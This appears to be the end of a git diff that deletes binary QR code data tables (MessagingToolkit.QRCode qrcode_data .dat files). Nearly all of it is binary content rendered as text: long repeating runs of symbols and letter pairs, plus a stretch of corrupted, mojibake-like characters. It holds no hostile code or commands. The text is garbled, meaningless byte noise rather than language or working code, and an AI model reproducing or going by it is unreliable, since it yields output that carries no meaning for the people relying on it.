GGFFEEDDoonnmmllYYZZ[[\\11223344 - - CCBBAA@@kkjjiihh]]^^__``55667788 ??>>==<>??@@  77665544__^^]]\\iijjkkllAABBCCDD  - - 33221100[[ZZYYXX~~}}||mmnnooppEEFFGGHH - - //..--,,WWVVUUTT~~}}||{{zzyyxxqqrrssttIIJJKKLL!!""##$$++**))((SSRRQQPP{{zzyyxxwwvvuuttuuvvwwxxMMNNOOPP%%&&''((''&&%%$$OONNMMLLwwvvuuttssrrqqpoyyzz{{||QQRRSSTT))**++,, !"##$$% ##""!! KKJJIIHHssrrqqpp~~}}nmlkkjji}}~~UUVVWWXX--..//00 - - %&&''(() - - GGFFEEDDoonnmmll||{{zzyyihhggffe~~}}YYZZ[[\\11223344 )**++,,-CCBBAA@@kkjjiihhxxwwvvuueddccbba||{{zzyy]]^^__``55667788-..//001??>>==<>??@@5667789: 77665544__^^]]\\llkkjjiizzyyxxwwYXXWWVUTppoonnmmiijjkkllAABBCCDD##$$%%;<==>>?? !! - - 33221100[[ZZYYXXhhggffeevvuuttssSRQQPPOOllkkjjiimmnnooppEEFFGGHH&&''(())@@AABBCC""##$$%%//..--,,WWVVUUTT~~}}||ddccbbaarrqqkkjjNNMMLLKKhhggffeeqqrrssttIIJJKKLL**++,,--DDEEFFGG&&''(())++**))((SSRRQQPP{{zzyyxx``__^^]]iihhggffJJIIHHGGddccbbaauuvvwwxxMMNNOOPP..//0011HHIIJJKK**++,,--''&&%%$$OONNMMLLwwvvuutt\\[[ZZYYeeddccbbFFEEDDCC``__^^]]yyzz{{||QQRRSSTT22334455LLMMNNOO..//0011 ##""!! KKJJIIHHssrrqqppXXWWVVUUaa``__^^BBAA@@??\\[[ZZYY}}~~UUVVWWXX6677==>>PPQQRSTU22334455 - - GGFFEEDDoonnmmllTTSSRRQQ]]\\[[ZZ>>==<;:9XXWWVVUU~~}}YYZZ[[\\??@@AABBVWWXXYYZ66778899CCBBAA@@kkjjiihhPPOONNMMYYXXWWQQ87766554TTSSRRQQ||{{zzyy]]^^__``CCDDEEFFZ[[\\]]^::;;<<==??>>==<>??@@AA;;::9988ccbbaa``HHGGFFEELLKKJJII0//..--,LLKKJJIIttssrrqqeeffgghhKKLLMMNNbccddeefBBCCDDEE 77665544__^^]]\\DDCCBBAAHHGGFFEE,++**))(HHGGFFEEppoonnmmiijjkkllOOPPQQWWfgghhiijFFGGHHII !! - - 33221100[[ZZYYXX@@??>>==DDCCBBAA(''&&%%$DDCCBBAAllkkjjiimmnnooppXXYYZZ[[jkklmnopJJKKLLMM""##$$%%//..--,,WWVVUUTT<<;;::99@@??>>==$##"! @@??>>==hhggffeeqqrrsstt\\]]^^__qqrrssttNNOOPPQQ&&''(())++**))((SSRRQQPP8877665577665544<<;;::99ddccbbaauuvvwwxx``aabbccuuvvwwxxRRSSTTUU**++,,--''&&%%$$OONNMMLL443322113322110088776655``__^^]]yyzz{{||ddeeffggyyzz{{||VVWWXXYY..//0011 ##""!! KKJJIIHH00//..--//..--,,44332211\\[[ZZYY}}~~hhiijjkk}}~~ZZ[[\\]]22334455 - - GGFFEEDD,,++**))++**))((00//..--XXWWVVUU~~}}qqrrsstt^^__``aa66778899CCBBAA@@((''&&%%''&&%%$$ - -,,++**))TTSSRRQQ||{{zzyyuuvvwwxxbbccddee::;;<<==??>>==<<$$##""!!## ((''&&%%PPOONNMMxxwwvvuuyyzz{{||ffgghhii>>??@@AA;;::9988 $$##""!!LLKKJJIIttssrrqq}}~~jjkkllmmBBCCDDEE 77665544 - - HHGGFFEEppoonnmmnnooppqqFFGGHHII !! - - 33221100 DDCCBBAAllkkjjiirrssttuuJJKKLLMM""##$$%%//..--,, @@??>>==hhggffeevvwwxxyyNNOOPPQQ&&''(())++**))(( - - - -<<;;::99ddccbbaazz{{||}}RRSSTTUU**++,,--''&&%%$$ - -  88776655``__^^]]~~VVWWXXYY..//0011 ##""!! - -  - - 44332211\\[[ZZYYZZ[[\\]]22334455 - -  !!""##$$00//..--XXWWVVUU~~}}^^__``aa66778899%%&&''((,,++**))TTSSRRQQ||{{zzyybbccddee::;;<<==jjkkllmm##))**++,,((''&&%%PPOONNMMxxwwvvuuffgghhii>>??@@AAnnooppqq$$%%&&''--..//00$$##""!!LLKKJJIIttssrrqqjjkkllmmBBCCDDEE rrssttuu (())**++11223344 - - HHGGFFEEppoonnmmnnooppqqFFGGHHII !! - - vvwwxxyy!!""##$$,,--..//55667788 DDCCBBAAllkkjjiirrssttuuJJKKLLMM""##$$%%zz{{||}}%%&&''((0011223399::;;<<@@??>>==hhggffeevvwwxxyyNNOOPPQQ&&''(())~~))**++,,44556677==>>??@@<<;;::99ddccbbaazz{{||}}RRSSTTUU**++,,----..//00==>>??@@AABBCCDD 88776655``__^^]]~~VVWWXXYY..//0011 11223344AABBCCDDEEFFGGHH - - 44332211\\[[ZZYY~~}}~~}}||ZZ[[\\]]22334455 - - 55667788EEFFGGHHIIJJKKLL!!""##$$00//..--XXWWVVUU~~}}||{{zzyy{{zzyyxx^^__``aa6677889999::;;<>??@@MMNNOOPPQQRRSSTT))**++,,((''&&%%PPOONNMMxxwwvvuuttssrrqqssrrqqppffgghhii>>??@@AAAABBCCDDQQWWXXYYUUVVWWXX--..//00$$##""!!LLKKJJIIttssrrqqkkjjiihhoonnmmlljjkkllmmBBCCDDEEEEFFGGHHZZ[[\\]]YYZZ[[\\11223344 - - HHGGFFEEppoonnmmggffeeddkkjjiihhnnooppqqFFGGHHII !!IIJJKKLL^^__``aa]]^^__``55667788 DDCCBBAAllkkjjiiccbbaa``ggffeeddrrssttuuJJKKLLMM""##$$%%MMNNOOPPbbccddeeaabbccdd99::;;<<@@??>>==hhggffee__^^]]\\ccbbaa``vvwwxxyyNNOOPPQQ&&''(())QQRRSSTTffgghhiieeffgghh==>>??@@<<;;::99ddccbbaa[[ZZYYXX__^^]]\\zz{{||}}RRSSTTUU**++,,--UUVVWWXXjjkkqqrriijjkkllAABBCCDD 88776655``__^^]]WWQQPPOO[[ZZYYXX~~VVWWXXYY..//0011YYZZ[[\\ssttuuvvmmnnooppEEFFGGHH - - 44332211\\[[ZZYYNNMMLLKKWWVVUUTT~~}}||ZZ[[\\]]22334455]]^^__``wwxxyyzzqqrrssttIIJJKKLL!!""##$$00//..--XXWWVVUUJJIIHHGGSSRRQQPP{{zzyyxx^^__``aa66778899aabbccdd{{||}}~~uuvvwwxxMMNNOOPP%%&&''((,,++**))TTSSRRQQFFEEDDCCOONNMMLLwwvvuuttbbccddee::;;<<==eeffgghhyyzz{{||QQRRSSTT))**++,,((''&&%%PPOONNMMBBAA@@??KKJJIIHHssrrqqppffgghhii>>??@@AAiijjkkll}}~~UUVVWWXX--..//00$$##""!!LLKKJJII>>==7766GGFFEEDDoonnmmlljjkkllmmBBCCDDEEmmnnooppYYZZ[[\\11223344 - - HHGGFFEE55443322CCBBAA@@kkjjiihhnnooppqqFFGGHHII~~qqrrsstt]]^^__``55667788 DDCCBBAA1100//..??>>==<>==--,,++**;;::9988ccbbaa``vvwwxxyyNNOOPPQQyyxxwwvvyyzz{{||eeffgghh==>>??@@<<;;::99))((''&&77665544__^^]]\\zz{{||}}RRSSTTUUuuttssrr}}~~iijjkkllAABBCCDD 88776655%%$$##33221100[[ZZYYXX~~VVWWXXYYqqkkjjiimmnnooppEEFFGGHH - - 44332211//..--,,WWVVUUTT~~}}||ZZ[[\\]]hhggffeeqqrrssttIIJJKKLL!!""##$$00//..--++**))((SSRRQQPP{{zzyyxx^^__``aaddccbbaauuvvwwxxMMNNOOPP%%&&''((,,++**))''&&%%$$OONNMMLLwwvvuuttbbccddee``__^^]]yyzz{{||QQRRSSTT))**++,,((''&&%% ##""!! KKJJIIHHssrrqqppffgghhii\\[[ZZYYXXWWQQPPAA@@??>>bbaa``__wwxxyyzzOOPPQQRR00112233JJKKLLMM,,--..//%%$$##""MMLLKKJJuuttssrr||{{zzyyiijjkkllAABBCCDD  - - 33221100[[ZZYYXX~~OONNMMLL==<;:987^^]]\\[[{{||}}~~SSTTUUVV44556677NNOOPPQQ00112233 - - !! IIHHGGFFqqppoonnxxwwvvuummnnooppEEFFGGHH - - //..--,,WWVVUUTT~~}}||KKJJIIHH76655443ZZYYXXWWWWXXYYZZ==>>??@@RSTUVWWX44556677 EEDDCCBBmmllkkjjttssrrqqqqrrssttIIJJKKLL!!""##$$++**))((SSRRQQPP{{zzyyxxGGFFEEDD3221100/VVUUTTSS~~}}||{{[[\\]]^^AABBCCDDXYYZZ[[\8899::;;AA@@??>>iihhggffponmlkkjuuvvwwxxMMNNOOPP%%&&''((''&&%%$$OONNMMLLwwvvuuttCCBBAA@@/..--,,+RRQQPPOOzzyyxxww__``aabbEEFFGGHH\]]^^__`<<==>>??==<<;;::eeddccbbjiihhggfyyzz{{||QQRRSSTT))**++,, !"##$$% ##""!! KKJJIIHHssrrqqpp??>>==77+**))(('NNMMLLKKvvuuttssccddeeffIIJJKKLL`aabbccd@@AABBCC99887766aa``__^^~~}}||feeddccb}}~~UUVVWWXX--..//00 - - %&&''(() - - GGFFEEDDoonnmmll66554433'&&%%$$#JJIIHHGGrrqqppoogghhiijjMMNNOOPPdeeffgghDDEEFFGG - -55443322]]\\[[ZZ{{zzyyxxbaa``__^~~}}YYZZ[[\\11223344 )**++,,-CCBBAA@@kkjjiihh221100//#"! FFEEDDCCnnmmllkkkkllmmnnQQWWXXYYhiijjkklHHIIJJKK !!""## 1100//..YYXXWWVVwwvvuutt^]]\\[[Z||{{zzyy]]^^__``55667788-..//001??>>==<>==<<;;ffeeddccssttuuvv^^__``aassttuuvvPPQQRRSS(())**++))((''&&QQPPOONNjjiihhggUTSRQQPPttssrrqqeeffgghh==>>??@@5667789: 77665544__^^]]\\wwvvuutt&&%%$$##::998877bbaa``__wwxxyyzzbbccddeewwxxyyzzTTUUVVWW,,--..//%%$$##""MMLLKKJJffeeddccOONNMMLLppoonnmmiijjkkllAABBCCDD##$$%%;<==>>?? !! - - 33221100[[ZZYYXXssrrqqpp 66554433^^]]\\[[{{||}}~~ffgghhii{{||}}~~XXYYZZ[[00112233 - - !! IIHHGGFFbbaa``__KKJJIIHHllkkjjiimmnnooppEEFFGGHH&&''(())@@AABBCC""##$$%%//..--,,WWVVUUTT~~}}||oonnmmll - - 221100//ZZYYXXWWjjkkqqrr\\]]^^__44556677 EEDDCCBB^^]]\\[[GGFFEEDDhhggffeeqqrrssttIIJJKKLL**++,,--DDEEFFGG&&''(())++**))((SSRRQQPP{{zzyyxxkkjjiihh..--,,++VVUUTTSS~~}}||{{ssttuuvv``aabbcc8899::;;AA@@??>>ZZYYXXWWCCBBAA@@ddccbbaauuvvwwxxMMNNOOPP..//0011HHIIJJKK**++,,--''&&%%$$OONNMMLLwwvvuuttggffeedd**))((''RRQQPPOOzzyyxxwwwwxxyyzzddeeffgg<<==>>??==<<;;::QQPPOONN??>>==<;``__^^]]yyzz{{||QQRRSSTT22334455LLMMNNOO..//0011 ##""!! KKJJIIHHssrrqqppccbbaa`` - -&&%%$$##NNMMLLKKvvuuttss{{||}}~~hhiijjkk@@AABBCC99887766MMLLKKJJ:9877665\\[[ZZYY}}~~UUVVWWXX6677==>>PPQQRSTU22334455 - - GGFFEEDDoonnmmll__^^]]\\  - -""!! JJIIHHGGrrqqppoollmmnnooDDEEFFGG - -55443322IIHHGGFF54433221XXWWVVUU~~}}YYZZ[[\\??@@AABBVWWXXYYZ66778899CCBBAA@@kkjjiihh[[ZZYYXX FFEEDDCCnnmmllkkppqqrrssHHIIJJKK !!""## 1100//..EEDDCCBB100//..-TTSSRRQQ||{{zzyy]]^^__``CCDDEEFFZ[[\\]]^::;;<<==??>>==<>-,,++**)PPOONNMMxxwwvvuuaabbccddGGHHIIJJ^__``aab>>??@@AA;;::9988ccbbaa``~~}}||{{SSRRQQPP >>==<<;;ffeeddccxxyyzz{{PPQQRRSS(())**++))((''&&==776655)((''&&%LLKKJJIIttssrrqqeeffgghhKKLLMMNNbccddeefBBCCDDEE 77665544__^^]]\\zzyyxxwwOONNMMLL::998877bbaa``__||}}~~TTUUVVWW,,--..//%%$$##""44332211%$$##"! HHGGFFEEppoonnmmiijjkkllOOPPQQWWfgghhiijFFGGHHII !! - - 33221100[[ZZYYXXvvuuttssKKJJIIHH 66554433^^]]\\[[XXYYZZ[[00112233 - - !! 00//..--DDCCBBAAllkkjjiimmnnooppXXYYZZ[[jkklmnopJJKKLLMM""##$$%%//..--,,WWVVUUTTrrqqkkjjGGFFEEDD !!"" - - 221100//ZZYYXXWW\\]]^^__44556677 ,,++**))@@??>>==hhggffeeqqrrsstt\\]]^^__qqrrssttNNOOPPQQ&&''(())++**))((SSRRQQPPiihhggffCCBBAA@@##$$##$$%%&&..--,,++VVUUTTSS~~}}||{{``aabbcc8899::;;((''&&%%<<;;::99ddccbbaauuvvwwxx``aabbccuuvvwwxxRRSSTTUU**++,,--''&&%%$$OONNMMLLeeddccbb??>>==<<%%&&''((''(())****))((''RRQQPPOOzzyyxxwwddeeffgg<<==>>??$$##88776655``__^^]]yyzz{{||ddeeffggyyzz{{||VVWWXXYY..//0011 ##""!! KKJJIIHHaa``__^^;;::9988))**++,,++,,--..&&%%$$##NNMMLLKKvvuuttsshhiijjkk@@AABBCC 44332211\\[[ZZYY}}~~hhiijjkk}}~~ZZ[[\\]]22334455 - - GGFFEEDD]]\\[[ZZ77665544--..//00//001122 - -""!! JJIIHHGGrrqqppoollmmnnooDDEEFFGG - - - - 00//..--XXWWVVUU~~}}qqrrsstt^^__``aa66778899CCBBAA@@YYXXWWQQ332211001122334433445566 FFEEDDCCnnmmllkkppqqrrssHHIIJJKK !!""## ,,++**))TTSSRRQQ||{{zzyyuuvvwwxxbbccddee::;;<<==??>>==<>??@@AA;;::9988LLKKJJII++**))((>>??@@AA;;<<==>>>>==<<;;ffeeddccxxyyzz{{PPQQRRSS(())**++ - - $$##""!!LLKKJJIIttssrrqq}}~~jjkkllmmBBCCDDEE 77665544HHGGFFEE''&&%%$$BBCCDDEE??@@AABB::998877bbaa``__||}}~~TTUUVVWW,,--..// - - HHGGFFEEppoonnmmnnooppqqFFGGHHII !! - - 33221100DDCCBBAA##""!! FFGGHHIICCDDEEFF 66554433^^]]\\[[~~XXYYZZ[[00112233 - -  DDCCBBAAllkkjjiirrssttuuJJKKLLMM""##$$%%//..--,,@@??>>==JJKKLLMMGGHHIIJJ !!"" - - 221100//ZZYYXXWW~~}}||{{}}||{{zz\\]]^^__44556677  - - @@??>>==hhggffeevvwwxxyyNNOOPPQQ&&''(())++**))((77665544NNOOPPQQKKLLMMNN##$$%%&&..--,,++VVUUTTSS~~}}||{{zzyyxxwwyyxxwwvv``aabbcc8899::;;<<;;::99ddccbbaazz{{||}}RRSSTTUU**++,,--''&&%%$$33221100WWXXYYZZOOPPQQRR''(())****))((''RRQQPPOOzzyyxxwwvvuuttssuuttssrrddeeffgg<<==>>?? 88776655``__^^]]~~VVWWXXYY..//0011 ##""!! //..--,,[[\\]]^^SSTTUUVV++,,--..&&%%$$##NNMMLLKKvvuuttssrrqqkkjjqqppoonnhhiijjkk@@AABBCC - - 44332211\\[[ZZYYZZ[[\\]]22334455 - - ++**))(( __``aabbWWXXYYZZ//001122 - -""!! JJIIHHGGrrqqppooiihhggffmmllkkjjllmmnnooDDEEFFGG!!""##$$00//..--XXWWVVUU~~}}^^__``aa66778899''&&%%$$ - - ccddeeff[[\\]]^^33445566 FFEEDDCCnnmmllkkeeddccbbiihhggffppqqrrssHHIIJJKK !!""####$$%%&&%%&&''((,,++**))TTSSRRQQ||{{zzyybbccddee::;;<<==## - - gghhiijj__``aabb778899::BBAA@@??jjiihhggaa``__^^eeddccbbttuuvvwwLLMMNNOO$$%%&&''''(())**))**++,,((''&&%%PPOONNMMxxwwvvuuffgghhii>>??@@AAkkqqrrssccddeeff;;<<==>>>>==<<;;ffeeddcc]]\\[[ZZaa``__^^xxyyzz{{PPQQRRSS(())**++++,,--..--..//00$$##""!!LLKKJJIIttssrrqqjjkkllmmBBCCDDEE ttuuvvwwgghhiijj??@@AABB::998877bbaa``__YYXXWWQQ]]\\[[ZZ||}}~~TTUUVVWW,,--..////00112211223344 - - HHGGFFEEppoonnmmnnooppqqFFGGHHII !! - - xxyyzz{{kkllmmnnCCDDEEFF 66554433^^]]\\[[PPOONNMMYYXXWWVV~~XXYYZZ[[001122333344556655667788 DDCCBBAAllkkjjiirrssttuuJJKKLLMM""##$$%% ||}}~~ooppqqrrGGHHIIJJ !!"" - - 221100//ZZYYXXWWLLKKJJIIUUTTSSRR}}||{{zz\\]]^^__4455667777==>>??99::;;<<@@??>>==hhggffeevvwwxxyyNNOOPPQQ&&''(()) - - - - !!ssttuuvvKKLLMMNN##$$%%&&..--,,++VVUUTTSSHHGGFFEEQQPPOONNyyxxwwvv``aabbcc8899::;;@@AABBCC==>>??@@<<;;::99ddccbbaazz{{||}}RRSSTTUU**++,,-- ""##$$%%wwxxyyzzOOPPQQRR''(())****))((''RRQQPPOODDCCBBAAMMLLKKJJuuttssrrddeeffgg<<==>>??DDEEFFGGAABBCCDD 88776655``__^^]]~~VVWWXXYY..//0011 &&''(()){{||}}~~SSTTUUVV++,,--..&&%%$$##NNMMLLKK@@??>>==IIHHGGFFqqppoonnhhiijjkk@@AABBCCHHIIJJKKEEFFGGHH - - 44332211\\[[ZZYY~~}}~~}}||ZZ[[\\]]22334455 - - **++,,--WWXXYYZZ//001122 - -""!! JJIIHHGG77665544EEDDCCBBmmllkkjjllmmnnooDDEEFFGGLLMMNNOOIIJJKKLL!!""##$$00//..--XXWWVVUU~~}}||{{zzyy{{zzyyxx^^__``aa66778899..//0011[[\\]]^^33445566 FFEEDDCC33221100AA@@??>>iihhggffppqqrrssHHIIJJKKPPQQWWXXMMNNOOPP%%&&''((,,++**))TTSSRRQQ||{{zzyyxxwwvvuuwwvvuuttbbccddee::;;<<==##22334455__``aabb778899::BBAA@@??//..--,,==<<;;::eeddccbbttuuvvwwLLMMNNOOYYZZ[[\\QQRRSSTT))**++,,((''&&%%PPOONNMMxxwwvvuuttssrrqqssrrqqppffgghhii>>??@@AA$$%%&&''66778899ccddeeff;;<<==>>>>==<<;;++**))((99887766aa``__^^xxyyzz{{PPQQRRSS]]^^__``UUVVWWXX--..//00$$##""!!LLKKJJIIttssrrqqkkjjiihhoonnmmlljjkkllmmBBCCDDEE(())**++::;;<<==gghhiijj??@@AABB::998877''&&%%$$55443322]]\\[[ZZ||}}~~TTUUVVWWaabbccddYYZZ[[\\11223344 - - HHGGFFEEppoonnmmggffeeddkkjjiihhnnooppqqFFGGHHII !!,,--..//>>??@@AAkkllmmnnCCDDEEFF 66554433##1100//..YYXXWWVV~~XXYYZZ[[eeffgghh]]^^__``55667788 DDCCBBAAllkkjjiiccbbaa``ggffeeddrrssttuuJJKKLLMM""##$$%%00112233BBCCDDEEooppqqrrGGHHIIJJ !!"" - - 221100//--,,++**UUTTSSRR}}||{{zz\\]]^^__iijjkkqqaabbccdd99::;;<<@@??>>==hhggffee__^^]]\\ccbbaa``vvwwxxyyNNOOPPQQ&&''(())44556677FFGGHHIIssttuuvvKKLLMMNN##$$%%&&..--,,++))((''&&QQPPOONNyyxxwwvv``aabbccrrssttuueeffgghh==>>??@@<<;;::99ddccbbaa[[ZZYYXX__^^]]\\zz{{||}}RRSSTTUU**++,,--==>>??@@JJKKLLMMwwxxyyzzOOPPQQRR''(())****))((''%%$$##""MMLLKKJJuuttssrrddeeffggvvwwxxyyiijjkkllAABBCCDD 88776655``__^^]]WWQQPPOO[[ZZYYXX~~VVWWXXYY..//0011AABBCCDDNNOOPPQQ{{||}}~~SSTTUUVV++,,--..&&%%$$## !! IIHHGGFFqqppoonnhhiijjkkzz{{||}}mmnnooppEEFFGGHH - - 44332211\\[[ZZYYNNMMLLKKWWVVUUTT~~}}||ZZ[[\\]]22334455EEFFGGHHRRSSTTUUWWXXYYZZ//001122 - -""!!  - - EEDDCCBBmmllkkjjllmmnnoo~~qqrrssttIIJJKKLL!!""##$$00//..--XXWWVVUUJJIIHHGGSSRRQQPP{{zzyyxx^^__``aa66778899IIJJKKLLVVWWXXYY[[\\]]^^33445566 AA@@??>>iihhggffppqqrrssuuvvwwxxMMNNOOPP%%&&''((,,++**))TTSSRRQQFFEEDDCCOONNMMLLwwvvuuttbbccddee::;;<<==MMNNOOPPZZ[[\\]]__``aabb778899::==<<;;::eeddccbbttuuvvwwyyzz{{||QQRRSSTT))**++,,((''&&%%PPOONNMMBBAA@@??KKJJIIHHssrrqqppffgghhii>>??@@AAQQWWXXYY^^__``aaccddeeff;;<<==>> - - 99887766aa``__^^xxyyzz{{}}~~UUVVWWXX--..//00$$##""!!LLKKJJII>>==7766GGFFEEDDoonnmmlljjkkllmmBBCCDDEEZZ[[\\]]bbccddee~~}}||{{gghhiijj??@@AABB  - -55443322]]\\[[ZZ||}}~~YYZZ[[\\11223344 - - HHGGFFEE55443322CCBBAA@@kkjjiihhnnooppqqFFGGHHII^^__``aaffgghhiizzyyxxwwkkllmmnnCCDDEEFF  1100//..YYXXWWVV~~]]^^__``55667788 DDCCBBAA1100//..??>>==<>==--,,++**;;::9988ccbbaa``vvwwxxyyNNOOPPQQffgghhiinnooppqqrrqqponmssttuuvvKKLLMMNN##$$%%&&))((''&&QQPPOONNyyxxwwvveeffgghh==>>??@@<<;;::99))((''&&77665544__^^]]\\zz{{||}}RRSSTTUUjjkkqqrrrrssttuulkkjjiihwwxxyyzzOOPPQQRR''(())** !"#%%$$##""MMLLKKJJuuttssrriijjkkllAABBCCDD 88776655%%$$##33221100[[ZZYYXX~~VVWWXXYYssttuuvvvvwwxxyyhggffeed{{||}}~~SSTTUUVV++,,--.. - -#$$%%&&' - - !! IIHHGGFFqqppoonnmmnnooppEEFFGGHH - - 44332211//..--,,WWVVUUTT~~}}||ZZ[[\\]]wwxxyyzzzz{{||}}dccbbaa`WWXXYYZZ//001122 '(())**+ EEDDCCBBmmllkkjjqqrrssttIIJJKKLL!!""##$$00//..--++**))((SSRRQQPP{{zzyyxx^^__``aa{{||}}~~~~`__^^]]\~~}}||{{[[\\]]^^33445566+,,--../AA@@??>>iihhggffuuvvwwxxMMNNOOPP%%&&''((,,++**))''&&%%$$OONNMMLLwwvvuuttbbccddee\[[ZZYYXzzyyxxww__``aabb778899::/0011223==<<;;::eeddccbbyyzz{{||QQRRSSTT))**++,,((''&&%% ##""!! KKJJIIHHssrrqqppffgghhiiXWWVUTSRvvuuttssccddeeff;;<<==>>3445566799887766aa``__^^}}~~UUVVWWXX--..//00$$##""!! - - GGFFEEDDoonnmmlljjkkllmmQQPPOONNrrqqppoogghhiijj??@@AABB##789:;<== - -55443322]]\\[[ZZYYZZ[[\\11223344 - - CCBBAA@@kkjjiihhnnooppqqMMLLKKJJn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JXQr~Hfp`ےbXnvd|ZrXQJ`vpfH|ZdQ`fHtbdQZے`J`f~rbdQZAbJXQf~HXQJ`ے`vXntArdXQJ`ےJltbtlXv`fltbHAbےXv`f˂rXQ~f`JAHrJlttbdQZ˂pZHAvnXHAZp˂pfH~dQbtےbHA~f`btlfpv|drXQr˂Hfpv|ltr˂pfpvbHAZvpf|ZdQbbHAZbdQZ|JA|Z~HfdQZ|`JXQr~HfJ`ےvXnˁ`ZQXbAdZ||drbے`v`frXQJf`vlJtArZp˂vXnJtArdnrXQJtAJlpZHAbnXvbdQZ|ZHAbnXv`p˂rH~ftlJp˂rdrtAdQbtpvndrtAJ˂pZpvnbHAZpvpfHb㉀XndrQt------------------------------------------................................ \ No newline at end of file diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv38_3.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv38_3.dat deleted file mode 100644 index 48fce79..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv38_3.dat +++ /dev/null @@ -1,337 +0,0 @@ -~}~}~}~}zyzyzyzyxwxwxwxwtstststsrqrqrqrqnmnmnmnmjijijijihghghghgdcdcdcdcbabababa~}~}~}~}zyzyzyzyxwxwxwxwtstststsrqrqrqrqnmnmnmnmjijijijihghghghgdcdcdcdcbabababa~}~}~}~}zyzyzyzyxwxwxwxwtstststsrqrqrqrqnmnmnmnmjijijijihghghghgdcdcdcdcbabababa~}~}~}~}zyzyzyzyxwxwxwxwtstststsrqrqrqrqnmnmnmnmjijijijihghghghgdcdcdcdcbabababa~}~}~}~}zyzyzyzyxwxwxwxwtstststsrqrqrqrqnmnmnmnmjijijijihghghghgdcdcdcdcbabababa~}~}~}|{zyzyzyzyxwxwxwxwtstststsrqrqrqrqnmnmnmnmjijijijihghghghgdcdcdcdcbabababa|{|{|{|{zyzyzyzyxwxwxwxwtstststsrqrqrqrqnmnmnmnmjijijijihghghghgdcdcdcdcbabababa|{|{|{|{zyzyzyzyxwxwxwvutstststsrqrqrqrqnmnmnmnmjijijijihghghghgdcdcdcdcbabababa|{|{|{|{zyzyzyzyvuvuvuvutstststsrqrqrqrqnmnmnmnmjijijijihghghghgdcdcdcdcbabababa|{|{|{|{zyzyzyzyvuvuvuvutstststsrqrqrqponmnmnmnmjijijijihghghghgdcdcdcdcbabababa|{|{|{|{zyzyzyzyvuvuvuvutstststspopopoponmnmnmnmjijijijihghghghgdcdcdcdcbabababa|{|{|{|{zyzyzyzyvuvuvuvutstststspopopoponmnmnmnmjijijijihghghghgdcdcdcdcbabababa|{|{|{|{zyzyzyzyvuvuvuvutstststspopopoponmnmnmnmjijijijihghgfefedcdcdcdcbabababa|{|{|{|{zyzyzyzyvuvuvuvutstststspopopoponmnmnmnmjijijijifefefefedcdcdcdcbabababa|{|{|{|{zyzyzyzyvuvuvuvutstststspopopoponmnmnmlkjijijijifefefefedcdcdcdcbaba`_`_|{|{|{|{zyzyzyzyvuvuvuvutstststspopopopolklklkkkjijijijifefefefedcdcdcdc`_`_`_`_|{|{|{|{zyzyzyzyvuvuvuvutstststspopopopokkklklkljijijijifefefefedcdcdcdc`_`_`_`_|{|{|{|{zyzyzyzyvuvuvuvutstststspopopopoklklklkljijijijifefefefedcdcdcdc`_`_`_`_|{|{|{|{zyzyzyzyvuvuvuvutstststspopopopoklklklkljijijijifefefefedcdcdcdc`_`_`_`_|{|{|{|{zyzyzyzyvuvuvuvutstststspopopopoklklklkljijijijifefefefedcdcdcdc`_`_`_`_|{|{|{|{zyzyzyzyvuvuvuvutstststspopopopoklklklkljijijijifefefefedcdcdcdc`_`_`_`_|{|{|{|{zyzyzyzyvuvuvuvutstststspopopopoklklkkkkjijijijifefefefedcdcdcdc`_`_`_`_|{|{|{|{zyzyzyzyvuvuvuvutstststspopopopokklklklkjijijijifefefefedcdcdcdc`_`_`_`_|{|{|{|{zyzyzyzyvuvuvuvutstststspopopopolklklklkjijijijifefefefedcdcdcdc`_`_`_`_|{|{|{|{zyzyzyzyvuvuvuvutstststspopopopolklklklkjijijijifefefefedcdcdcdc`_`_`_`_~}|{|{|{|{zyzyzyzyvuvuvuvutstststspopopopolklklklkjijijijifefefefedcdcdcdc`_`_`_`_~}~}~}~}|{|{|{|{zyzyzyzyvuvuvuvutstststspopopopolklklklkjijijijifefefefedcdcdcdc`_`_`_`_~}~}~}~}|{|{|{|{zyzyzyxwvuvuvuvutstststspopopopolklkkkkkjijijijifefefefedcdcdcdc`_`_`_`_~}~}~}~}|{|{|{|{xwxwxwxwvuvuvuvutstststspopopopoklklklkljijijijifefefefedcdcdcdc`_`_`_`_~}~}~}~}|{|{|{|{xwxwxwxwvuvuvuvutststsrqpopopopoklklklkljijijijifefefefedcdcdcdc`_`_`_`_~}~}~}~}|{|{|{|{xwxwxwxwvuvuvuvurqrqrqrqpopopopoklklklkljijijijifefefefedcdcdcdc`_`_`_`_~}~}~}~}|{|{|{|{xwxwxwxwvuvuvuvurqrqrqrqpopopopoklklklkljijijijifefefefedcdcdcdc`_`_`_`_~}~}~}~}|{|{|{|{xwxwxwxwvuvuvuvurqrqrqrqpopopopoklklklkljijihghgfefefefedcdcdcdc`_`_`_`_~}~}~}~}|{|{|{|{xwxwxwxwvuvuvuvurqrqrqrqpopopopoklkkkkkkhghghghgfefefefedcdcdcdc`_`_`_`_~}~}~}~}|{|{|{|{xwxwxwxwvuvuvuvurqrqrqrqpopopopolklklklkhghghghgfefefefedcdcbaba`_`_`_`_~}~}~}~}|{|{|{|{xwxwxwxwvuvuvuvurqrqrqrqpopopopolklklklkhghghghgfefefefebabababa`_`_`_`_~}~}~}~}|{|{|{|{xwxwxwxwvuvuvuvurqrqrqrqpopopopolklklklkhghghghgfefefefebabababa`_`_`_`_~}~}~}~}|{|{|{|{xwxwxwxwvuvuvuvurqrqrqrqpopopopolklklklkhghghghgfefefefebabababa`_`_`_`_~}~}~}~}|{|{|{|{xwxwxwxwvuvuvuvurqrqrqrqpopopopolklklklkhghghghgfefefefebabababa`_`_`_`_~}~}~}~}|{|{|{|{xwxwxwxwvuvuvuvurqrqrqrqpopopopolkkkkkklhghghghgfefefefebabababa`_`_`_`_~}~}~}~}|{|{|{|{xwxwxwxwvuvuvuvurqrqrqrqpopopopoklklklklhghghghgfefefefebabababa`_`_`_`_~}~}~}~}|{|{|{|{xwxwxwxwvuvuvuvurqrqrqrqpopopopoklklklklhghghghgfefefefebabababa`_`_`_`_~}~}~}~}|{|{|{|{xwxwxwxwvuvuvuvurqrqrqrqpopopopoklklklklhghghghgfefefefebabababa`_`_`_`_~}~}~}~}|{|{|{|{xwxwxwxwvuvuvuvurqrqrqrqponmnmnmklklklklhghghghgfefefefebabababa`_`_`_`_~}~}~}~}|{|{|{|{xwxwxwxwvuvuvuvurqrqrqrqnmnmnm